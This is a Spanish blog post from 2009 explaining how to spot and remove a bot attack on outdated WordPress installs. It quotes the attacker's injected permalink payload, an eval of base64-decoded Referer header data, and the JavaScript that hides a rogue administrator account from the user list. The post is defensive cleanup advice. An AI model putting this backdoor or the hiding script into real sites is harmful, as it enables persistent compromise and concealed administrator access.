Inicio » Noticias, Webs

Ataque a versiones antiguas de Wordpress

4 Septiembre 2009 318 vistas Se el primero en comentar

wordpress logo Ataque a versiones antiguas de Wordpress

Acabo de enterarme de un ataque a versiones antiguas de Wordpress, al menos me enteré de versiones < a 2.7.1.

Al parecer fue un ataque con un robot ya que hay varios blogs atacados.

Lo más notorio de este ataque es:

1. Los posts contienen el código ${eval(base64_decode($_SERVER[HTTP_REFERER]))} despues del enlace original.

2. Existe un nuevo usuario desconocido y oculto con privilegios de Administrador (lo cuál es muy grave).

Ayudando a un amigo de forobeta supe como arreglar este problema.

Lo del enlace no es muy grave, solo entras a permalinks en el panel de control de Wordpress y borras el texto que aparece y vuelves a la normalidad tus permalinks.

Lo del administrador oculto si necesita ser muy cuidadosos.

Primero debes revisar los usuarios que tienes desde el último registrado (seguramente es uno de los últimos usuarios registrados). Aparentemente este usuario no tiene correo electrónico, no se sabe pero este usuario se creó directamente sin la petición de su correo.

Si no lo encuentras en tu panel ve a

http://el nombre de tu blog.com/wp-admin/user-edit.php?user_id=737&wp_http_referer=%2Fwp-admin%2Fusers.php%3Frole%3Dsubscriber

y ve bajando de usuario cambiando user_id=737 bajando uno a uno hasta encontrarlo.

Hay un código como:

..

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
	try{
		var t=document.getElementById("user_superuser");
		while(t.nodeName!="TR"){
			t=t.parentNode;
		};
		t.parentNode.removeChild(t);
		var tags = document.getElementsByTagName("H3");
		var s = " shown below";
		for (var i = 0; i < tags.length; i++) {
			var t=tags[i].innerHTML;
			var h=tags[i];
			if(t.indexOf(s)>0){
				s =(parseInt(t)-1)+s;
				h.removeChild(h.firstChild);
				t = document.createTextNode(s);
				h.appendChild(t);
			}
		}
		var arr=document.getElementsByTagName("ul");
		for(var i in arr) if(arr[i].className=="subsubsub"){
			var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
			if(n[1]>0){
				var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

Si lo encontraste eliminalo al usuario, ahora revisa si todavia tienes el problema. En el panel de control ya no debe haber usuarios ocultos y solo el o los administradores conocidos.

Otra forma sería hacer lo mismo pero desde Phpmyadmin.

Ahora cambia tu contraseña de administrador.

Para terminar actualiza tu versión de Wordpress a la última versión.

Comenta como te fue.

No es GE-KPoco GE-KAlgo GE-KSi es GE-KMuy GE-K (¿Te pareció Geek?)
Loading ... Loading ...

Deja una respuesta.

Agrega tu comentario, o trackback de tu web. Tambien puedes subscribe to these comments via RSS.

Solo comentarios GE-K. Nada de spam por favor.

Puedes usar:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Puedes usar avatares en esta web, registrate en Gravatar.